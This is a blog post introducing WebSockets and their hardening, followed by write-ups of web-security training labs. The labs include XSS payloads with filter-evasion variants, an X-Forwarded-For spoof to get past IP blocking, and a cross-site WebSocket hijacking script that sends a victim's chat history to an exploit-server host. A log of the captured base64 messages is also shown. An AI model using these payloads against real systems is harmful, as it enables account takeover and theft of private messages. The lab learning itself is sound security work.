Post

Web Sockets

Web Sockets

ws

WebSockets intro

  • WebSocket is a communication protocol that provides full-duplex (two-way) communication between a client (usually a browser) and a server over a single, long-lived TCP connection. Unlike HTTP, where the client must initiate every request, WebSockets allow both the client and server to send data anytime — perfect for real-time applications like:

  • Chat apps

  • Online gaming

  • Live stock trading

  • Collaborative editing

  • IoT dashboards

Benefits

  • Low latency: Messages are sent instantly without repeatedly opening/closing connections.

  • Bidirectional: Server can push data to client without the client asking first.

  • Less overhead: Smaller message headers compared to HTTP.

Hardening

  • Use Secure Protocol -> wss://

  • Origin Checking (Validate the Origin header)

  • Authenticate Users (don’t rely on IP addresses or Origin alone — tie WebSocket connections to authenticated sessions - JWTs, cookies, etc.)

  • Set Timeouts and Limits (max message size, max connections per IP, idle timeout - disconnect if no activity)

  • Close Connections Gracefully (if something goes wrong or authentication fails, close the connection with proper WebSocket close codes -> 1008 = policy violation, 1003 = unsupported data, etc.)

  • Input Validation & Sanitization

  • Monitor logs

  • Use WAF/Reverse Proxy

Websockets labs

Manipulating WebSocket messages to exploit vulnerabilities

  • The majority of input-based vulnerabilities affecting WebSockets can be found and exploited by tampering with the contents of WebSocket messages.

{"message":"Hello chat!" -> {"message":"<img src=1 onerror='alert(1)'>"}

Manipulating the WebSocket handshake to exploit vulnerabilities

  • Previous option will lead to block, but you could reconnect from the websocket history tab using headers like these: X-Forwarded-For: 1.1.1.1 or X-Forwarded-For: 127.0.0.1 and change your payload to something like these

  • {"message":"Hello chat!" -> {"message":"<img src=1 oNeRrOr=alert1>"}
  • {"message":"Hello chat!" -> {"message":"</script><script>alert(1)</script>"}
  • {"message":"Hello chat!" -> {"message":"<script>\x61\x6c\x65\x72\x74(1)</script>"}

Cross-site WebSocket hijacking

  • Payload to use if you don’t have a professional Burp
1
2
3
4
5
6
7
8
9
<script>
    var ws = new WebSocket('wss://0a0f000903ba45ba80500daf008600d5.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://exploit-0ab00018030445c580950c3b01ed00d4.exploit-server.net/exploit?mes' + btoa(event.data));
    };
</script>
  • As always -> Store -> Deliver to victim and then check logs, you should see something like this:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
...
188.146.36.29   2025-04-06 18:54:43 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 18:54:43 +0000 "GET /log HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 18:54:43 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 18:54:59 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 18:55:00 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 19:03:39 +0000 "POST / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 19:03:39 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 19:03:42 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 19:03:42 +0000 "GET /deliver-to-victim HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
10.0.3.69       2025-04-06 19:03:43 +0000 "GET /exploit/ HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.69       2025-04-06 19:03:43 +0000 "GET /exploit?mes=eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6IkhlbGxvLCBob3cgY2FuIEkgaGVscD8ifQ== HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.69       2025-04-06 19:03:43 +0000 "GET /exploit?mes=eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IkkgZm9yZ290IG15IHBhc3N3b3JkIn0= HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.69       2025-04-06 19:03:43 +0000 "GET /exploit?mes=eyJ1c2VyIjoiSGFsIFBsaW5lIiwiY29udGVudCI6Ik5vIHByb2JsZW0gY2FybG9zLCBpdCZhcG9zO3MgMm9wNDJjNnRhMjdnaHJoeGRlM2MifQ== HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.69       2025-04-06 19:03:43 +0000 "GET /exploit?mes=eyJ1c2VyIjoiWW91IiwiY29udGVudCI6IlRoYW5rcywgSSBob3BlIHRoaXMgZG9lc24mYXBvczt0IGNvbWUgYmFjayB0byBiaXRlIG1lISJ9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
10.0.3.69       2025-04-06 19:03:43 +0000 "GET /exploit?mes=eyJ1c2VyIjoiQ09OTkVDVEVEIiwiY29udGVudCI6Ii0tIE5vdyBjaGF0dGluZyB3aXRoIEhhbCBQbGluZSAtLSJ9 HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"
188.146.36.29   2025-04-06 19:03:43 +0000 "GET / HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 19:03:43 +0000 "GET /resources/css/labsDark.css HTTP/1.1" 200 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
188.146.36.29   2025-04-06 19:03:48 +0000 "POST / HTTP/1.1" 302 "user-agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0"
  • There you will find some encoded messages needs to be checked and voila …

ws1

This post is licensed under CC BY 4.0 by the author.